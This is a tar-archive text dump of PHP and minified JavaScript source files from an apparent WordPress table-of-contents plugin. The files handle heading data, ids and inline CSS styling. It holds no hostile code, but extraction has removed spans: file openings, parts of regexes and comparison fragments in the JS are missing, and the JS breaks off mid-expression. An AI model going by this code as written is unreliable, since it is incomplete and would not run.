* * @since 3.0.0 * @access private * * @param Fixedtoc_Datum $datum an instance of Fixedtoc_Datum. * * @return void. */ private function add_datum( Fixedtoc_Datum $datum ) { $datum->set_name(); $datum->set_value( $this ); $key = $datum->get_name(); $value = $datum->get_value(); $this->datum[ $key ] = $value; $this->data[ $this->index ][ $key ] = $value; } /** * Get the current matched string. * * @since 3.0.0 * @access public * * @return string. */ public function get_match() { return $this->match; } /** * Get the current datum index. * * @since 3.0.0 * @access public * * @return int. */ public function get_index() { return $this->index; } /** * Get the current datum. * * @since 3.0.0 * @access public * * @return array. */ public function get_datum() { return $this->datum; } /** * Get the data. * * @since 3.0.0 * @access public * * @return array. */ public function get_data() { return $this->data; } } frontend/data/class-datum-origin-title.php 0000644 00000002707 14744617432 0014650 0 ustar 00 name = 'origin_title'; } /** * @since 3.0.0 * * @param Fixedtoc_Data $obj_data */ public function set_value( Fixedtoc_Data $obj_data ) { $title = trim( strip_tags( $obj_data->get_match() ) ); $this->value = $this->filter_title( $title ); } /** * Filter title. * * @since 3.0.0 * @access private * * @param string $title * * @return string */ private function filter_title( $title ) { if ( empty( $title ) ) { return ''; } if ( is_null( $this->excludes ) ) { $exclude = trim( fixedtoc_get_option( 'general_exclude_keywords' ) ); $exclude .= "\n" . trim( fixedtoc_get_meta( 'general_exclude_keywords' ) ); if ( empty( $exclude ) ) { return $title; } $exclude .= "\n" . wptexturize( htmlentities( $exclude, ENT_NOQUOTES ) ); $excludes = explode( "\n", $exclude ); $excludes = array_map( array( $this, 'sanitize_keyword' ), $excludes ); $excludes = array_filter( $excludes ); $this->excludes = $excludes; } if ( $this->excludes && in_array( $title, $this->excludes ) ) { return ''; } return apply_filters( 'fixedtoc_li_title', $title ); } public function sanitize_keyword( $keyword ) { return trim( $keyword ); } } frontend/data/class-datum-id.php 0000644 00000004672 14744617432 0012641 0 ustar 00 name = 'id'; } /** * @since 3.0.0 * * @param Fixedtoc_Data $obj_data */ public function set_value( Fixedtoc_Data $obj_data ) { if ( fixedtoc_is_true( 'convert_title_to_id' ) ) { // Convert title to id $id = ( $this->convert_title_to_id( $obj_data ) ); } else { // Default id that auto increase suffix num $id = 'ftoc-heading-' . ( $obj_data->get_index() + 1 ); } // Customize id $customize_id = $this->get_id_attr( $obj_data ); $id = isset( $customize_id ) && $customize_id ? $customize_id : $id; // Filter duplicate id $this->value = $this->filter_duplicate_id( $id, $obj_data->get_data() ); } /** * Convert title to id * * @since 3.0.0 * @access private * * @param object $obj_data * * @return string */ private function convert_title_to_id( $obj_data ) { $datum = $obj_data->get_datum(); $prefix = fixedtoc_get_val( 'general_id_prefix' ); $title = $prefix ? $prefix . '-' . $datum['origin_title'] : $datum['origin_title']; return sanitize_html_class( sanitize_title( $title ) ); } /** * Get id attribute * * @since 3.0.0 * @access private * * @param object $obj_data * * @return string */ private function get_id_attr( $obj_data ) { // if ( preg_match( '/id(\s*)=(\s*)(\"|\')(.+?)(\"|\')/i', $obj_data->get_match(), $match ) ) { if ( preg_match( '/(
]*?)(\s)id(\s*)=(\s*)(["\'])(.+?)(["\'])((.*?)>)/i', $obj_data->get_match(), $match ) ) { return strtolower( sanitize_html_class( trim( $match[6] ) ) ); } return ''; } /** * Filter duplicate id * * @since 3.0.0 * @access private * * @param string $id * @param array $data * * @return string */ private function filter_duplicate_id( $id, $data ) { if ( empty( $data ) || count( $data ) <= 1 ) { return $id; } $duplicate_id = ''; $num = 1; foreach ( $data as $datum ) { $datum_id = isset( $datum['id'] ) ? $datum['id'] : false; if ( empty( $datum_id ) ) { continue; } if ( $datum_id == $id ) { $duplicate_id = $id; continue; } if ( $duplicate_id && 0 === strpos( $datum_id, $duplicate_id ) ) { if ( preg_match( '/\d+$/i', $datum_id, $match ) ) { $num = $match[0]; } } } return $duplicate_id ? $id . '-' . ++ $num : $id; } } frontend/data/class-datum-title.php 0000644 00000001620 14744617432 0013354 0 ustar 00 name = 'title'; } /** * @since 3.0.0 * * @param Fixedtoc_Data $obj_data */ public function set_value( Fixedtoc_Data $obj_data ) { $title_attr = $this->get_title_attr( $obj_data ); if ( $title_attr ) { $this->value = $title_attr; } else { $datum = $obj_data->get_datum(); $this->value = $datum['origin_title']; } } /** * Get the title attribute. * * @since 3.0.0 * @access private * * @param object $obj_data * * @return string */ private function get_title_attr( $obj_data ) { if ( preg_match( '/(
]*?)(\s)title(\s*)=(\s*)(["\'])(.+?)(["\'])((.*?)>)/i', $obj_data->get_match(), $match ) ) { return trim( $match[6] ); } return ''; } } frontend/data/abstract-datum.php 0000644 00000001614 14744617432 0012736 0 ustar 00 name; } /** * Get the value. * * @since 3.0.0 */ public function get_value() { return $this->value; } } frontend/data/class-datum-page.php 0000644 00000000765 14744617432 0013160 0 ustar 00 name = 'page'; } /** * * @since 3.1.0 * * @param Fixedtoc_Data $obj_data */ public function set_value( Fixedtoc_Data $obj_data ) { if ( preg_match( '/data-page(\s*)=(\s*)(["\'])(.+?)(["\'])/i', $obj_data->get_match(), $match ) ) { $this->value = trim( $match[4] ); } } } frontend/data/class-datum-element.php 0000644 00000000565 14744617432 0013673 0 ustar 00 name = 'element'; } /** * @since 3.0.0 * * @param Fixedtoc_Data $obj_data */ public function set_value( Fixedtoc_Data $obj_data ) { $this->value = $obj_data->get_match(); } } frontend/data/class-datum-parent-id.php 0000644 00000001667 14744617432 0014131 0 ustar 00 name = 'parent_id'; } /** * @since 3.0.0 * * @param Fixedtoc_Data $obj_data */ public function set_value( Fixedtoc_Data $obj_data ) { $data = $obj_data->get_data(); if ( empty( $data ) ) { return; } $reverse_data = array_reverse( $data ); $current_heading = $this->get_heading( $obj_data->get_match() ); foreach ( $reverse_data as $datum ) { if ( $this->get_heading( $datum['element'] ) < $current_heading ) { $this->value = $datum['id']; return; } } $this->value = false; } /** * Get heading * * @since 3.0.0 * @access private * * @param string $element * * @return int */ private function get_heading( $element ) { return (int) substr( $element, 2, 1 ); } } frontend/style/abstract-style.php 0000644 00000002216 14744617432 0013212 0 ustar 00 object_style = $object_style; $this->create_data(); } /** * Add datum * * @since 3.0.0 * @access protected * * @param string|array $selectors . * @param array $declaration . */ protected function add_datum( $selectors, $declaration ) { $this->data[] = array( 'selectors' => $selectors, 'declaration' => $declaration ); } /** * Get data * * @since 3.0.0 * @access public * * @return array. */ public function get_data() { return $this->data; } /** * Create data * * @since 3.0.0 * @access protected */ abstract protected function create_data(); } frontend/style/class-style-container-outer.php 0000644 00000002011 14744617432 0015621 0 ustar 00 size(); } /** * Size * * @since 3.0.0 * @access private */ private function size() { // Height $height = (int) fixedtoc_get_val( 'contents_height_in_post' ); $height = $height && ! fixedtoc_is_true( 'contents_collapse_init' ) ? $height . 'px' : 'auto'; if ( fixedtoc_amp_is_request() ) { $height = 'auto'; } $this->add_datum( '.ftwp-in-post#ftwp-container-outer', array( 'height' => $height ) ); // Width if ( fixedtoc_is_true( 'float_in_post' ) ) { $width = (int) fixedtoc_get_val( 'contents_width_in_post' ); $width = $width ? $width . 'px' : 'auto'; $side = fixedtoc_get_val( 'contents_float_in_post' ); $this->add_datum( ".ftwp-in-post#ftwp-container-outer.ftwp-float-$side", array( 'width' => $width ) ); } } } frontend/style/class-style-location.php 0000644 00000002402 14744617432 0014317 0 ustar 00 offset_y(); } /** * Offerset Y * * @since 3.0.0 * @access private */ private function offset_y() { $offset_y = (int) fixedtoc_get_val( 'location_vertical_offset' ); if ( empty( $offset_y ) ) { return; } $position = fixedtoc_get_val( 'location_fixed_position' ); if ( 'middle-left' == $position || 'middle-right' == $position ) { return; } $selectors = array( $this->offset_y_selector_model( $position, 'trigger' ), $this->offset_y_selector_model( $position, 'contents' ) ); if ( 'bottom-left' == $position || 'bottom-right' == $position ) { $property = 'bottom'; } else { $property = 'top'; } $this->add_datum( $selectors, array( $property => $offset_y . 'px' ) ); } /** * Offerset Y selector model * * @since 3.0.0 * @access private * * @param string $position * @param string $target * * @return string */ private function offset_y_selector_model( $position, $target ) { return "#ftwp-container.ftwp-fixed-to-post.ftwp-$position #ftwp-$target"; } } frontend/style/class-style-list.php 0000644 00000004562 14744617432 0013473 0 ustar 00 font_size = (int) fixedtoc_get_val( 'contents_list_font_size' ); $this->font(); $this->list_style_type_size(); if ( fixedtoc_is_true( 'strong_first_list' ) ) { $this->strong_first_list(); } } /** * Font * * @since 3.0.0 * @access private */ private function font() { $font_family = fixedtoc_get_val( 'contents_list_font_family' ); if ( 'customize' == $font_family ) { $customize_font_family = fixedtoc_get_val( 'contents_list_customize_font_family' ); $font_family = $customize_font_family ?: $font_family; } $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list', array( 'font-size' => $this->font_size . 'px', 'font-family' => $font_family ) ); } /** * List style type size * * @since 3.0.0 * @access private */ private function list_style_type_size() { if ( 'decimal' == fixedtoc_get_val( 'contents_list_style_type' ) ) { $this->add_datum( '#ftwp-container #ftwp-list.ftwp-liststyle-decimal .ftwp-anchor::before', array( 'font-size' => $this->font_size . 'px' ) ); } else { $list_icon_font_size = 0.4 * $this->font_size; $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-anchor::before', array( 'font-size' => $list_icon_font_size . 'px' ) ); } } /** * Strong first list * * @since 3.0.0 * @access private */ private function strong_first_list() { $strong_font_size = 1.1 * $this->font_size; $this->add_datum( '#ftwp-container #ftwp-list.ftwp-strong-first>.ftwp-item>.ftwp-anchor .ftwp-text', array( 'font-size' => $strong_font_size . 'px' ) ); if ( 'decimal' == fixedtoc_get_val( 'contents_list_style_type' ) ) { $this->add_datum( '#ftwp-container #ftwp-list.ftwp-strong-first.ftwp-liststyle-decimal>.ftwp-item>.ftwp-anchor::before', array( 'font-size' => $strong_font_size . 'px' ) ); } else { $list_icon_font_size = 0.5 * $this->font_size; $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list.ftwp-strong-first>.ftwp-item>.ftwp-anchor::before', array( 'font-size' => $list_icon_font_size . 'px' ) ); } } } frontend/style/class-style-header.php 0000644 00000002002 14744617432 0013733 0 ustar 00 font(); } /** * Font * * @since 3.0.0 * @access private */ private function font() { $font_size = (int) fixedtoc_get_val( 'contents_header_font_size' ); $font_family = fixedtoc_get_val( 'contents_header_font_family' ); if ( 'customize' == $font_family ) { $customize_font_family = fixedtoc_get_val( 'contents_header_customize_font_family' ); $font_family = $customize_font_family ?: $font_family; } $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-header', array( 'font-size' => $font_size . 'px', 'font-family' => $font_family ) ); $font_bold = fixedtoc_get_val( 'contents_header_font_bold' ) ? 'bold' : 'normal'; $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-header-title', array( 'font-weight' => $font_bold ) ); } } frontend/style/class-style-color.php 0000644 00000015512 14744617432 0013633 0 ustar 00 opacity = apply_filters( 'fixedtoc_background_opacity', $this->opacity ); parent::__construct( $object_style ); } /** * Create data * * @since 3.0.0 * @access protected */ protected function create_data() { $this->trigger(); $this->contents(); $this->contents_header(); $this->contents_list(); $this->target_hint(); $this->effect(); } /** * Trigger * * @since 3.0.0 * @access private */ private function trigger() { $trigger_color = fixedtoc_get_val( 'color_button' ); $trigger_bg_color = fixedtoc_get_val( 'color_button_bg' ); $trigger_bg_color_rgba = $this->object_style->hex2rgba( $trigger_bg_color, $this->opacity ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-trigger', array( 'color' => $trigger_color, 'background' => $trigger_bg_color_rgba ) ); // Border color if ( 'none' != fixedtoc_get_val( 'trigger_border_width' ) ) { $trigger_border_color = fixedtoc_get_val( 'color_button_border' ); $trigger_border_color_rgba = $this->object_style->hex2rgba( $trigger_border_color, $this->opacity ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-trigger', array( 'border-color' => $trigger_border_color_rgba ) ); } } /** * Contents * * @since 3.0.0 * @access private */ private function contents() { if ( 'none' != fixedtoc_get_val( 'contents_border_width' ) ) { $contents_border_color = fixedtoc_get_val( 'color_contents_border' ); $contents_border_color_rgba = $this->object_style->hex2rgba( $contents_border_color, $this->opacity ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-contents', array( 'border-color' => $contents_border_color_rgba ) ); } } /** * Header * * @since 3.0.0 * @access private */ private function contents_header() { $header_color = fixedtoc_get_val( 'color_contents_header' ); $header_bg_color = fixedtoc_get_val( 'color_contents_header_bg' ); $header_bg_color_rgba = $this->object_style->hex2rgba( $header_bg_color, $this->opacity ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-header', array( 'color' => $header_color, 'background' => $header_bg_color_rgba ) ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-contents:hover #ftwp-header', array( 'background' => $header_bg_color ) ); } /** * List * * @since 3.0.0 * @access private */ private function contents_list() { $list_bg_color = fixedtoc_get_val( 'color_contents_list_bg' ); $list_bg_color_rgba = $this->object_style->hex2rgba( $list_bg_color, $this->opacity ); $list_link_color = fixedtoc_get_val( 'color_contents_list_link' ); $list_hover_link_color = fixedtoc_get_val( 'color_contents_list_hover_link' ); $list_active_link_color = fixedtoc_get_val( 'color_contents_list_active_link' ); $list_active_link_bg_color = fixedtoc_get_val( 'color_contents_list_active_link_bg' ); $list_active_link_bg_color_rgba = $this->object_style->hex2rgba( $list_active_link_bg_color, $this->opacity ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list', array( 'color' => $list_link_color, 'background' => $list_bg_color_rgba ) ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-contents:hover #ftwp-list', array( 'background' => $list_bg_color ) ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-anchor:hover', array( 'color' => $list_hover_link_color ) ); $this->add_datum( array( '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-anchor:focus', '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-active', '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-active:hover' ), array( 'color' => $list_active_link_color, 'background' => ( 'none' == fixedtoc_get_val( 'effects_active_link' ) ) ? $list_active_link_bg_color_rgba : '' ) ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-text::before', array( 'background' => $list_active_link_bg_color_rgba ) ); } /** * Target hint * * @since 3.0.0 * @access private */ private function target_hint() { $target_hint_bg_color = fixedtoc_get_val( 'color_target_hint' ); $target_hint_color_rgba = $this->object_style->hex2rgba( $target_hint_bg_color, $this->opacity ); $this->add_datum( '.ftwp-heading-target::before', array( 'background' => $target_hint_color_rgba ) ); } /** * Effect * * @since 3.0.0 * @access private */ private function effect() { $effect = fixedtoc_get_val( 'effects_active_link' ); $list_bg_color = fixedtoc_get_val( 'color_contents_list_bg' ); $list_bg_color_rgba = $this->object_style->hex2rgba( $list_bg_color, $this->opacity ); $list_active_link_bg_color = fixedtoc_get_val( 'color_contents_list_active_link_bg' ); $list_active_link_bg_color_rgba = $this->object_style->hex2rgba( $list_active_link_bg_color, $this->opacity ); if ( 'fade' == $effect ) { $this->add_datum( array( '#ftwp-container #ftwp-list.ftwp-effect-fade .ftwp-anchor.ftwp-active', '#ftwp-container #ftwp-list.ftwp-effect-fade .ftwp-anchor:focus' ), array( 'background' => $list_active_link_bg_color_rgba ) ); } if ( 'radial-in' == $effect || 'rectangle-in' == $effect || 'shutter-in' == $effect ) { $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-text::before', array( 'background' => $list_bg_color_rgba ) ); $this->add_datum( array( "#ftwp-container #ftwp-list.ftwp-effect-$effect .ftwp-anchor.ftwp-active", "#ftwp-container #ftwp-list.ftwp-effect-$effect .ftwp-anchor:focus" ), array( 'background' => $list_active_link_bg_color_rgba ) ); } if ( 'round-corners' == $effect ) { $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-list .ftwp-text::before', array( 'background' => $list_bg_color_rgba ) ); $this->add_datum( array( '#ftwp-container #ftwp-list.ftwp-effect-round-corners .ftwp-anchor.ftwp-active .ftwp-text::before', '#ftwp-container #ftwp-list.ftwp-effect-round-corners .ftwp-anchor:focus .ftwp-text::before' ), array( 'background' => $list_active_link_bg_color_rgba ) ); } if ( 'border-fade' == $effect ) { $this->add_datum( array( '#ftwp-container #ftwp-list.ftwp-effect-border-fade .ftwp-anchor.ftwp-active', 'ftwp-container #ftwp-list.ftwp-effect-border-fade .ftwp-anchor:focus' ), array( 'box-shadow' => "inset 0 0 0 2px $list_active_link_bg_color_rgba" ) ); } } } frontend/style/class-style-contents.php 0000644 00000003047 14744617432 0014352 0 ustar 00 fixed_to_post(); // In post if ( fixedtoc_is_true( 'in_post' ) ) { $this->in_post(); } } /** * Fixed to post * * @since 3.0.0 * @access private */ private function fixed_to_post() { // $font_size = (int) fixedtoc_get_val( 'contents_font_size' ); $width = (int) fixedtoc_get_val( 'contents_fixed_width' ); $height = (int) fixedtoc_get_val( 'contents_fixed_height' ); $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-contents', array( 'width' => $width ? $width . 'px' : 'auto', 'height' => $height ? $height . 'px' : 'auto' // 'font-size' => $font_size . 'px' ) ); } /** * In post * * @since 3.0.0 * @access private */ private function in_post() { $height = (int) fixedtoc_get_val( 'contents_height_in_post' ); $height = $height && ! fixedtoc_is_true( 'contents_collapse_init' ) ? $height . 'px' : 'auto'; if ( fixedtoc_amp_is_request() ) { $height = 'auto'; } $this->add_datum( '.ftwp-in-post#ftwp-container-outer #ftwp-contents', array( 'height' => $height ) ); $width = (int) fixedtoc_get_val( 'contents_width_in_post' ); $width = $width ? $width . 'px' : 'auto'; $side = fixedtoc_get_val( 'contents_float_in_post' ); $this->add_datum( ".ftwp-in-post#ftwp-container-outer.ftwp-float-$side #ftwp-contents", array( 'width' => $width ) ); } } frontend/style/class-style-trigger.php 0000644 00000004260 14744617432 0014156 0 ustar 00 normal(); $this->with_border(); $this->with_circle_border(); } /** * Normal * * @since 3.0.0 * @access private */ private function normal() { $size = (int) fixedtoc_get_val( 'trigger_size' ); $this->font_size = 0.6 * $size; $this->add_datum( '#ftwp-container.ftwp-wrap #ftwp-trigger', array( 'width' => $size . 'px', 'height' => $size . 'px', 'font-size' => $this->font_size . 'px' ) ); } /** * With border * * @since 3.0.0 * @access private */ private function with_border() { $border = fixedtoc_get_val( 'trigger_border_width' ); switch ( $border ) { case 'thin': { $border_font_size = $this->font_size - 1 / 2; break; } case 'medium': { $border_font_size = $this->font_size - 1; break; } case 'bold': { $border_font_size = $this->font_size - 5 / 2; break; } default: $border_font_size = 0; } if ( $border_font_size ) { $this->add_datum( "#ftwp-container #ftwp-trigger.ftwp-border-$border", array( 'font-size' => $border_font_size . 'px' ) ); } } /** * ith circle shape and border * * @since 3.0.0 * @access private */ private function with_circle_border() { $shape = fixedtoc_get_val( 'trigger_shape' ); $border = fixedtoc_get_val( 'trigger_border_width' ); if ( 'circle' == $shape ) { $circle_font_size = 0.9 * $this->font_size; switch ( $border ) { case 'thin': { $circle_font_size = $circle_font_size - 1 / 2; break; } case 'medium': { $circle_font_size = $circle_font_size - 1; break; } case 'bold': { $circle_font_size = $circle_font_size - 5 / 2; break; } } $this->add_datum( "#ftwp-container.ftwp-wrap .ftwp-shape-circle.ftwp-border-$border .ftwp-trigger-icon", array( 'font-size' => $circle_font_size . 'px' ) ); } } } frontend/style/class-inline-style.php 0000644 00000010571 14744617432 0013773 0 ustar 00 add_data( new Fixedtoc_Style_Data_Location( $this ) ); if ( fixedtoc_is_true( 'in_post' ) ) { require_once 'class-style-container-outer.php'; $this->add_data( new Fixedtoc_Style_Data_Container_Outer( $this ) ); } require_once 'class-style-contents.php'; $this->add_data( new Fixedtoc_Style_Data_Contents( $this ) ); require_once 'class-style-trigger.php'; $this->add_data( new Fixedtoc_Style_Data_Trigger( $this ) ); require_once 'class-style-header.php'; $this->add_data( new Fixedtoc_Style_Data_Header( $this ) ); require_once 'class-style-list.php'; $this->add_data( new Fixedtoc_Style_Data_List( $this ) ); require_once 'class-style-color.php'; $this->add_data( new Fixedtoc_Style_Data_Color_Scheme( $this ) ); } /** * Add CSS data * * @since 3.0.0 * @access private * * @param Fixedtoc_Style_Data $object_data */ private function add_data( Fixedtoc_Style_Data $object_data ) { $new_data = $object_data->get_data(); if ( $new_data && is_array( $new_data ) ) { $this->data = array_merge( $this->data, $new_data ); } } /** * Output CSS * * @since 3.0.0 * @access public * * @param bool $compress * * @return string */ public function get_css( $compress = true ) { $css = ''; if ( $this->data && is_array( $this->data ) ) { foreach ( $this->data as $datum ) { $selectors = isset( $datum['selectors'] ) ? $datum['selectors'] : ''; $declaration = isset( $datum['declaration'] ) ? $datum['declaration'] : array(); if ( $declaration ) { $css .= $this->create_css( $selectors, $declaration ); } } } return wp_strip_all_tags( $css, $compress ); } /** * Create css from data. * * @since 3.0.0 * @access private * * @param $selectors * @param array $declaration * * @return string */ private function create_css( $selectors, $declaration ) { $css = ''; if ( $selectors && $declaration ) { $selector_chain = $selectors; if ( is_array( $selectors ) ) { $selector_chain = implode( ", \n", $selectors ); } $declaration_chain = ''; foreach ( $declaration as $property => $value ) { if ( empty( $value ) ) { continue; } $declaration_chain .= "\t$property: $value;\n"; } $declaration_chain = rtrim( $declaration_chain, "\n" ); $css = $selector_chain . " {\n$declaration_chain\n}\n"; } return $css; } /** * Convert a hex decimal color code to its RGB equivalent * * @since 3.0.0 * @access private * * @param string $hexStr (hexadecimal color value) * @param bool $opacity * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise, returns an associative array) * @param string $separator (to separate RGB values. Applicable only if the second parameter is true.) * * @return array|false|string (depending on second parameter. Returns False if invalid hex color value) */ public function hex2rgba( $hexStr, $opacity = false, $returnAsString = true, $separator = ',' ) { $hexStr = preg_replace( '/[^0-9A-Fa-f]/', '', $hexStr ); // Gets a proper hex string $rgbArray = array(); if ( strlen( $hexStr ) == 6 ) { //If a proper hex code, convert using bitwise operation. No overhead... faster $colorVal = hexdec( $hexStr ); $rgbArray['red'] = 0xFF & ( $colorVal >> 0x10 ); $rgbArray['green'] = 0xFF & ( $colorVal >> 0x8 ); $rgbArray['blue'] = 0xFF & $colorVal; } elseif ( strlen( $hexStr ) == 3 ) { //if shorthand notation, need some string manipulations $rgbArray['red'] = hexdec( str_repeat( substr( $hexStr, 0, 1 ), 2 ) ); $rgbArray['green'] = hexdec( str_repeat( substr( $hexStr, 1, 1 ), 2 ) ); $rgbArray['blue'] = hexdec( str_repeat( substr( $hexStr, 2, 1 ), 2 ) ); } else { return false; //Invalid hex color code } $opacity_suffix = ( 0 <= $opacity && $opacity < 1 ) ? ',' . $opacity : ''; return $returnAsString ? 'rgba(' . implode( $separator, $rgbArray ) . $opacity_suffix . ')' : $rgbArray; // returns the rgb string or the associative array } } frontend/assets/js/ftoc.min.js 0000644 00000062407 14744617432 0012401 0 ustar 00 "use strict";var fixedtoc=function(s){var t={init:function(){fixedtocOption.scrollOffset=a(fixedtocOption.scrollOffset),fixedtocOption.fixedOffsetX=a(fixedtocOption.fixedOffsetX),fixedtocOption.fixedOffsetY=a(fixedtocOption.fixedOffsetY),fixedtocOption.contentsFixedHeight=a(fixedtocOption.contentsFixedHeight),fixedtocOption.contentsWidthInPost=a(fixedtocOption.contentsWidthInPost),fixedtocOption.contentsHeightInPost=a(fixedtocOption.contentsHeightInPost),fixedtocOption.triggerBorderWidth=e(fixedtocOption.triggerBorder),fixedtocOption.contentsBorderWidth=e(fixedtocOption.contentsBorder),fixedtocOption.triggerSize=a(fixedtocOption.triggerSize)},set:n,update:function(t,e,i){n(t,e,i)},remove:function(t){void 0!==fixedtocOption[t]&&delete fixedtocOption[t]}};function n(t,e,i){fixedtocOption[t]="int"==i?a(e):"float"==i?parseFloat(e)||0:e}function e(t){switch(t){case"thin":return 1;case"medium":return 2;case"bold":return 5;default:return 0}}var r,i={inWidgetProp:void 0,showAdminbar:function(){return fixedtocOption.showAdminbar},isQuickMin:function(){return fixedtocOption.isQuickMin},isEscMin:function(){return fixedtocOption.isEscMin},isEnterMax:function(){return fixedtocOption.isEnterMax},isNestedList:function(){return fixedtocOption.isNestedList},isColExpList:function(){return fixedtocOption.isColExpList},showColExpIcon:function(){return fixedtocOption.showColExpIcon},isAccordionList:function(){return fixedtocOption.isAccordionList},showTargetHint:function(){return!0},supportInPost:function(){return fixedtocOption.inPost},inWidget:function(){return!!fixedtocOption.inWidget&&(void 0===this.inWidgetProp&&(this.inWidgetProp=!!s("#ftwp-widget-container").length),this.inWidgetProp)},fixedWidget:function(){return!!this.inWidget()&&fixedtocOption.fixedWidget},isAutoHeightFixedToPost:function(){return 0==fixedtocOption.contentsFixedHeight},isFloat:function(){return"none"!=fixedtocOption.contentsFloatInPost},isAutoHeightInPost:function(){return 0==fixedtocOption.contentsHeightInPost},isPositionAtFixed:function(t){return-1!=fixedtocOption.fixedPosition.indexOf(t)},isDebug:function(){return 1==fixedtocOption.debug},isNotBlur:function(){var t=navigator.userAgent.toLowerCase();return-1
x.data.scrollTop))},inWidget:y,inPost:function(){return!!i.supportInPost()&&x.data.inPostRangeY.bottom>x.data.scrollTop},fixedToPost:function(){return x.data.ftocRangeY.top<=x.data.scrollTop&&x.data.ftocRangeY.bottom>x.data.scrollTop}};function y(){return i.inWidget()&&!i.isMobile()}var k,F,S={location:k={fixedWidget:!(F=["common","hidden","fixedToPost","inPost","inWidget","fixedWidget"]),inWidget:!1,inPost:!1,fixedToPost:!1,hidden:!1},register:function(t,e){-1!=s.inArray(t,F)?(void 0!==e._construct&&r.container.on("ftoc_"+t,e._construct),"common"!=t&&void 0!==e._destruct&&r.container.on("_ftoc_"+t,e._destruct)):f("Not support this event: "+t)},updateOnResize:function(){Y("resize")},updateOnScroll:function(){Y("scroll")},init:function(){r.container.trigger("ftoc_common"),Y("init")}};function Y(o){function t(t){for(var e=F.length,i={location:t,eventType:o},n=1;n
i||x.data.ftocRangeY.bottom
i||t());function t(){s.each(e,function(t){return void 0===e[t+1]&&this.headingTop<=x.data.ftocRangeY.bottom?($=[this,e[t],t],tt=x.data.document.height,V.activeCurrent(this.anchorEle),r.container.trigger("ftocAfterTargetIndicated",[this.anchorEle,i]),!1):this.headingTop<=i&&e[t+1].headingTop>i?($=[this,e[t+1],t],void 0===x.data.document&&x.setDocumentHeight(),tt=x.data.document.height,V.activeCurrent(this.anchorEle),r.container.trigger("ftocAfterTargetIndicated",[this.anchorEle,i]),!1):void 0})}}var nt,ot,ct,st;nt=function(){r.list.on("scroll",ot),r.list.on("mouseleave",ct),r.document.on("click",st),r.window.on("scroll",ct)},ot=function(){r.body.addClass("ftwp-no-scroll")},ct=function(){r.body.hasClass("ftwp-no-scroll")&&(r.list.off("scroll",ot),r.body.removeClass("ftwp-no-scroll"),setTimeout(function(){r.list.on("scroll",ot)},100))},st=function(t){s.contains(r.list.get(0),t.target)||ct()};function rt(){r.body.removeClass("ftwp-no-scroll"),r.list.off("scroll",ot),r.list.off("mouseleave",ct),r.document.off("click",st),r.window.off("scroll",ct)}var at,dt,ft,ut,pt,lt,gt,ht,xt,wt={_construct:function(){r.container.addClass("ftwp-hidden-state"),f("Actived hideToc().")},_destruct:function(){r.container.removeClass("ftwp-hidden-state"),f("Deactivated hideToc().")}},mt=(at=function(t,e){return e<=t.outerWidth()},dt={set:function(){var t,e;xt.setTransformOrigin(),i.isPositionAtFixed("left")?(t=x.data.window.width-x.data.postRect.left+fixedtocOption.fixedOffsetX,e=x.data.postRect.left-fixedtocOption.fixedOffsetX,vt(r.trigger,t,e),vt(r.contents,t,e)):(t=x.data.postRect.right+fixedtocOption.fixedOffsetX,e=x.data.window.width-t,Ot(r.trigger,t,e),Ot(r.contents,t,e)),function(){if(i.isPositionAtFixed("top")){r.trigger.css("top",x.data.fixedOffsetTop+"px");r.contents.css("top",x.data.fixedOffsetTop+"px")}else if(i.isPositionAtFixed("middle"))r.contents.css("top",x.data.fixedHeight+"px");else{r.trigger.css("top","");r.contents.css("top","")}}(),ht.reset()},unset:function(){r.trigger.css({left:"",right:"",top:""}),r.contents.css({left:"",right:"",top:""}),xt.removeTransformOrigin()}},ht={reset:function(){var t=function(){var t;if(i.isAutoHeightFixedToPost())if(i.isColExpList())t=window.innerHeight;else{j.setAuto();r.contents.css("height","auto");t=r.contents.outerHeight();ft();j.unset()}else t=fixedtocOption.contentsFixedHeight;return t}(),e=i.isPositionAtFixed("middle")?x.data.window.height-x.data.fixedHeight:x.data.window.height-x.data.fixedOffsetTop,t=e